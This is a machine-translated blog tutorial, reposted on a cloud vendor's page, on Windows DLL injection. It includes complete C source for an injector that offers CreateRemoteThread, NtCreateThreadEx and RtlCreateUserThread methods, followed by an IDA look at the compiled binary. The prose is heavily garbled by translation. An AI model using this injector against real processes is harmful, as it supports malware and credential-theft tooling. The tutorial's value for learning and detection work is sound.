DLL injection posture (2): CreateRemoteThread And More

Source: Internet
Author: User

DLL injection posture (2): CreateRemoteThread And More

There is actually a lot of content about this series, and the examples provided are all self-compiled source code, there are also related articles in the Open security and Infosec Institute. Of course, there are many more in-depth discussions here. I don't want to supplement these people, but hope to spend time understanding these things so that we can better help us improve ourselves.

0 × 01 remote thread injection method CreateRemoteThread

In the previous blog, we introducedSetWindowsHookExMethod injection. This part of work has been done, but it does not look great. To inject a DLL into a process, we need to obtain the thread ID of the process, so that we can inject it into any process that receives hook information. Fortunately, there is another way to do this. In this article, we will tryCreareRemoteThreadMethod. InSetWindowsHookEx, We useLoadLibrarySetDLLLoad to the address space of the current process (not the target process. UseGetProcAddressObtain the address of the required function. The following will be handed overSetWindowsHookEXWe construct a hook to hook a process that will automatically load our DLL.DLLThe injection process is complete. WhileCreateRemoteThreadThis process is different from the preceding process. The steps are as follows:

1. UseVirtualAllocExCreate a block in the address space of the target processDLLMemory space in the path.

2. UseWriteProcessMemorySetDLLPath write memory allocated.

3. Once the DLL path is written into the memory, useCreateRemoteThread(Or other functions without formal instructions), it callsLoadLibraryFunction willDLLInject into the target process.

0 × 02 Windows features

Features that are not officially described in Windows refer to those that are not described in detail in Microsoft. In this way, there will be some problems when using these features. The most obvious problem is that there is no document with a specific function. However, many of these features are described in the ReactOS project, and this article gives us the most intuitive understanding. In addition, if Microsoft does not officially pass these functions, these functions may eventually be used out of the border. Finally, they all need more code to understand and use it correctly.

Think about these questions. Why do we need to use these functions without formal instructions? The basic reason is that since Vista, if the target process is not in the current session but in a different sessionCreateRemoteThreadWill be invalid. However, these functions will not be described without formal instructions. Of course, this will not be understood immediately from the perspective of reverse engineering. In the end, this is only a small mess in some unknown functions in Windows.

In our code, we useCreateRemote Thread and two functions without formal descriptionsNtCreateThreadEx AndRtlCreateUserThread. You may have heard of Mimikatz and Metasploit. Both useRtlCreateUserThreadTo implement DLL injection. If you want to read the code, you can find mikatz here, And Meterpreter here. It should be noted that Mimikatz's blog is in French. If you have any language barriers, please refer to here.

Which of the two functions should be selected?NtCreateThreadExIt is a system call and a method for dealing with user space applications and kernels. Quick View in IDARtlCreateUserThread. Setntdll.dllDrag it into IDA and find it by name tagRtlCreateUserThread, You can see the following information:

 

 

The code below is as follows:

 

 

When you track this code, you will find that,RtlCreateUserThreadCallNtCreateThreadEx. ThereforeRtlCreateUserThreadIt should beNtCreateThreadEx. We want to callRtlCreateUserThreadBecauseNtCreateThreadEx System call options can be changed between Windows versions. Therefore,RtlCreateUserThreadIt is easier to use. Use Mimikatz and MeterpreterRtlCreateUserThreadThis option is more secure.

0 × 03 code

The following code is improved. The CreateRemoteThread method is used to implement the above steps step by step:

1. Use VirtualAllocEx to create a memory space with the path length of our DLL in the address space of the target process. // This dll path shocould be relative to the target process or an absolute pathchar * dll = "inject. dll "; // We need a handle to the process we will be injecting into handle hProcess = OpenProcess (PROCESS_ALL_ACCESS, FALSE, pid ); // Create the space needed for the dll we are going to be injectingLPVOID lpSpace = (LPVOID) VirtualAllocEx (hProcess, NULL, strlen (dll), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE );

VirtualAlloc. c

2. UseWriteProcessMemorySetDLLMemory allocated for path writing

//Write inject.dll to memory of processint n = WriteProcessMemory(hProcess, lpSpace, dll, strlen(dll), NULL);

WriteProcessMem. c

3. Once the DLL path is written into the memory, useCreateRemoteThread(Or other functions without formal instructions), it then calls the LoadLibrary function to inject the DLL into the target process.

HMODULE hModule = GetModuleHandle("kernel32.dll");LPVOID lpBaseAddress = (LPVOID)GetProcAddress(hModule,"LoadLibraryA");//Create Remote Thread using the address to LoadLibraryA and the space for the DLLhThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpBaseAddress, lpSpace, NULL, NULL);

CreateRemThread. c

 

Remote thread DLL Injection

The next step is to use these functions without formal instructions.CreateRemoteThread. You must call these functions first. InCreateRemoteThread, We can directly call it because it isWindows API. These functions do not have this feature, so you need to create a template. Start with RtlCreateUserThread. First, use the same name (it is not necessary to be the same name, but it will be clearer) to create this method. This method is used to declare the prototype of this function. This prototype must match the template provided through NtInternals. Create a thread handle as the input. The RtlCreateUserThread Pointer Points to the thread handle and sets RtlCreateUserThread to the handle of the created thread. Then we get the ntdll. dll handle, which is exactly where RtlCreateUserThread is saved. Functions in different DLL files can be output, so they can be used directly. In DLL, we can use the same method "_ declspec (dllexport)" to output the function. Since functions without formal instructions are not output, we must obtain the handle and address. The next step is to use GetProcAddress to obtain the address in the process. And return the thread handle. The template is as follows:

Fortunately, this process is essentially the same for NtCreateThreadEx, as shown below:

HANDLE NtCreateThreadEx(    HANDLE hProcess,    LPVOID lpBaseAddress,    LPVOID lpSpace){//The prototype NtCreateThreadEx from undocumented.ntinternals.com    typedef DWORD (WINAPI * functypeNtCreateThreadEx)(        PHANDLE                 ThreadHandle,        ACCESS_MASK             DesiredAccess,        LPVOID                  ObjectAttributes,        HANDLE                  ProcessHandle,        LPTHREAD_START_ROUTINE  lpStartAddress,        LPVOID                  lpParameter,        BOOL                    CreateSuspended,        DWORD                   dwStackSize,        DWORD                   Unknown1,        DWORD                   Unknown2,        LPVOID                  Unknown3    );     HANDLE                      hRemoteThread           = NULL;    HMODULE                     hNtDllModule            = NULL;    functypeNtCreateThreadEx    funcNtCreateThreadEx    = NULL;  //Get handle for ntdll which contains NtCreateThreadEx    hNtDllModule = GetModuleHandle( "ntdll.dll" );    if ( hNtDllModule == NULL )    {     return NULL;    }     funcNtCreateThreadEx = (functypeNtCreateThreadEx)GetProcAddress( hNtDllModule, "NtCreateThreadEx" );    if ( !funcNtCreateThreadEx )    {     return NULL;    }     funcNtCreateThreadEx( &hRemoteThread,  GENERIC_ALL, NULL, hProcess, (LPTHREAD_START_ROUTINE)lpBaseAddress, lpSpace, FALSE, NULL, NULL, NULL, NULL );     return hRemoteThread;}

NtCreateThreadEx. c

#include 
  
   #include 
   
     HANDLE RtlCreateUserThread(HANDLE hProcess,    LPVOID lpBaseAddress,    LPVOID lpSpace){//The prototype of RtlCreateUserThread from undocumented.ntinternals.comtypedef DWORD (WINAPI * functypeRtlCreateUserThread)(HANDLE      ProcessHandle,PSECURITY_DESCRIPTOR  SecurityDescriptor,BOOL      CreateSuspended,ULONG     StackZeroBits,PULONG     StackReserved,PULONG     StackCommit,LPVOID     StartAddress,LPVOID     StartParameter,HANDLE      ThreadHandle,LPVOID     ClientID ); //Get handle for ntdll which contains RtlCreateUserThreadHANDLE hRemoteThread = NULL;HMODULE hNtDllModule = GetModuleHandle("ntdll.dll"); if( hNtDllModule == NULL ){return NULL;} functypeRtlCreateUserThread funcRtlCreateUserThread = (functypeRtlCreateUserThread)GetProcAddress(hNtDllModule, "RtlCreateUserThread"); if( !funcRtlCreateUserThread ){return NULL;} funcRtlCreateUserThread(hProcess, NULL, 0, 0, 0, 0, lpBaseAddress,lpSpace,&hRemoteThread, NULL);DWORD lastError = GetLastError();return hRemoteThread;} HANDLE NtCreateThreadEx(    HANDLE hProcess,    LPVOID lpBaseAddress,    LPVOID lpSpace){    //The prototype of NtCreateThreadEx from undocumented.ntinternals.com    typedef DWORD (WINAPI * functypeNtCreateThreadEx)(        PHANDLE                 ThreadHandle,        ACCESS_MASK             DesiredAccess,        LPVOID                  ObjectAttributes,        HANDLE                  ProcessHandle,        LPTHREAD_START_ROUTINE  lpStartAddress,        LPVOID                  lpParameter,        BOOL                    CreateSuspended,        DWORD                   dwStackSize,        DWORD                   Unknown1,        DWORD                   Unknown2,        LPVOID                  Unknown3    );     HANDLE                      hRemoteThread           = NULL;    HMODULE                     hNtDllModule            = NULL;    functypeNtCreateThreadEx    funcNtCreateThreadEx    = NULL;  //Get handle for ntdll which contains NtCreateThreadEx    hNtDllModule = GetModuleHandle( "ntdll.dll" );    if ( hNtDllModule == NULL )    {     return NULL;    }     funcNtCreateThreadEx = (functypeNtCreateThreadEx)GetProcAddress( hNtDllModule, "NtCreateThreadEx" );    if ( !funcNtCreateThreadEx )    {     return NULL;    }funcNtCreateThreadEx( &hRemoteThread,  GENERIC_ALL, NULL, hProcess, (LPTHREAD_START_ROUTINE)lpBaseAddress, lpSpace, FALSE, NULL, NULL, NULL, NULL );     return hRemoteThread;} int injectIntoPID(int process, int method){DWORD pid = (DWORD) process;char* dll = "inject.dll";//Gets the process handle for the target processHANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);if(OpenProcess == NULL){puts("Could not find process");} //Retrieves kernel32.dll module handle for getting loadlibrary base addressHMODULE hModule = GetModuleHandle("kernel32.dll");//Gets address for LoadLibraryA in kernel32.dllLPVOID lpBaseAddress = (LPVOID)GetProcAddress(hModule,"LoadLibraryA"); if(lpBaseAddress == NULL){puts("Unable to locate LoadLibraryA");return -1;} //Allocates space inside for inject.dll to our target processLPVOID lpSpace = (LPVOID)VirtualAllocEx(hProcess, NULL, strlen(dll), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);if(lpSpace == NULL){printf("Could not allocate memory in process %u", (int)process);return -1;} //Write inject.dll to memory of processint n = WriteProcessMemory(hProcess, lpSpace, dll, strlen(dll), NULL);if(n == 0){puts("Could not write to process's address space");return -1;} HANDLE hThread; switch( method ){case 1:hThread = NtCreateThreadEx(hProcess, lpBaseAddress, lpSpace);break;case 2:hThread = RtlCreateUserThread(hProcess, lpBaseAddress, lpSpace);break;default:hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpBaseAddress, lpSpace, NULL, NULL);} if(hThread == NULL){return -1;}else{DWORD threadId = GetThreadId(hThread);DWORD processId = GetProcessIdOfThread(hThread);printf("Injected thread id: %u for pid: %u", threadId, processId); getchar();getchar();CloseHandle(hProcess);return 0;}} int main(int argc, char* argv){int pid;int method;puts("Inject into which PID?");scanf("%u", &pid);puts("Which method? (0 (default): CRT, 1: NtCreateThread, 2: RtlCreateUserThread)");scanf("%u", &method);int result = injectIntoPID(pid,method);if(result == -1){puts("Could not inject into PID");} }
   
  

Crt_inject.c

Run the above Code and the result is as follows:

 

0 × 04 reverse debugging

Now let's take a look at our payload. After compilation, drag it to IDA to check it. I am not a master of IDA, but fortunately it is not very complicated (especially the following code ). Check the name window as follows:

 

Note that there is an "I" before CreateRemoteThread and A "A" before the other two ". "I" indicates the input name, and "A" indicates ASCII. ASCII is the name of the function during compilation. Therefore, when we name these two function names properly, we can confuse malicious people. Double-click one of them as follows:

 

CreateRemoteThreadIt is a part of idata.rdataIndicates read-only. Right-click any one of them and you can view the cross-reference information through the cross-reference option:

 

In this way, you can see the actual function code. However, I prefer to look at the Code call diagram. As shown below, note that these two functions look very similar (this is not surprising ). In the orderCreateRemoteThread, NtCreateThreadEx, RtlCreateUserThread。CreateRemoteThreadBecause it is marked, it is easier to recognize it in assembly code, but most functions look very close to each other.

 

 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.